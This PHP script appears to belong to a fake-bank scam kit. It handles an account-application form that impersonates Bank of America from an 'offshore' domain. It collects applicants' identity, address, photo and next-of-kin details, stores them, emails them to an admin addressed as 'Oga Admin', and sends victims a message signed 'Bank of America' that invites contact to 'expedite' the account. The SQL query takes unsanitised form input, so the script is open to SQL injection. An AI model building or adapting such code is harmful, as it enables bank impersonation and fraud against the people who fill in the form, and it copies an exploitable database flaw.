<?php

include("../db.inc.php");

$number=rand(1000000000,9999999999);
$password=substr(str_shuffle("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"),0,10);
$pin=rand(10000,99999);
$firstname=$_POST['firstname'];
$lastname=$_POST['lastname'];
$dob=$_POST['dob'];
$gender=$_POST['gender'];
$address=$_POST['address'];
$city=$_POST['city'];
$state=$_POST['state'];
$zip=$_POST['zip'];
$country=$_POST['country'];
$phone=$_POST['phone'];
$email=$_POST['email'];
$occupation=$_POST['occupation'];
$type=$_POST['type'];
$currency=$_POST['currency'];
$next_of_kin_name=$_POST['next_of_kin_name'];
$next_of_kin_address=$_POST['next_of_kin_address'];
$next_of_kin_phone=$_POST['next_of_kin_phone'];
$status="Inactive";
date_default_timezone_set("Europe/Gateshead");
$time = date("h:i:sa");
$date = date('d/m/Y');


if(is_uploaded_file($_FILES['picture']['tmp_name'])) {
			$tmpName = addslashes(fread(fopen($_FILES['picture']['tmp_name'],"r"),
			filesize($_FILES['picture']['tmp_name'])));
}

$picture="$tmpName";
$tax_status="Uncleared";
$tax_status=0;

$sql = "INSERT INTO `users` ( `accid`, `number`, `password`, `pin`, `firstname`, `lastname`, `dob`, `gender`, `address`, `city`, `state`, `zip`, `country`, `phone`, `email`, `occupation`, `income`, `type`, `currency`,`lastlogin`, `status`, `balance`, `balance2`, `picture`, `tax_status`) VALUES ('','$number','$password','$pin','$firstname','$lastname','$dob','$gender','$address','$city','$state','$zip','$country','$phone','$email','$occupation','','$type','$currency','0000-00-00 00:00:00','$status','','','$picture','$tax_status');";

$result = mysqli_query($connectionString,$sql);

$fromEmailAddress2 = "no-reply-oga-admin@boacorporationoffshore.com";
$recipient2= "info@boacorporationoffshore.com";

$senderName2 = "Account Creation";


$emailSubject2 = "Account Application form was filled";

$comments2 = "\n Hello Oga Admin \n \n $firstname $lastname just created a new account with your bank. The account has been created, and the details can be found among the list of accounts in your Admin home, by logging into your Admin section. \n The account was created on $date at exactly $time.\n \n ACCOUNT NEXT OF KIN DETAILS; \n\n NEXT of kin name: $next_of_kin_name \n NEXT of Kin Adress: $next_of_kin_address \n\n NEXT of Kin Phone: $next_of_kin_phone \n \n \n \n \n Account Support Team \n For Bank of America.";

mail($recipient2, $emailSubject2, $comments2, "From: $senderName2 <$fromEmailAddress2>");



$fromEmailAddress1 = "no-reply-accountdept@boacorporationoffshore.com";
$recipient1= "$email";

$senderName1 = "Bank of America";



$emailSubject1 = "New Online Account Request Received";



$comments1 = "\n Hello $firstname $lastname \n \n Your request to open a new account with us on $date at exactly $time was received. We will respond to you within 72 hours with the details of your new account.\n\n While you are waiting, if you need any kind of information or advice. Or if you need to expedite the process of your account opening, please email us at info@boacorporationoffshore.com or call 0 253 453 6646 from within the Country and +44�741 837 0511 from outside the Country. \n \n \n \n \n Account Support Team \n For Bank of America.";










mail($recipient1, $emailSubject1, $comments1, "From: $senderName1 <$fromEmailAddress1>");




header('location: confirmation.htm');
?>
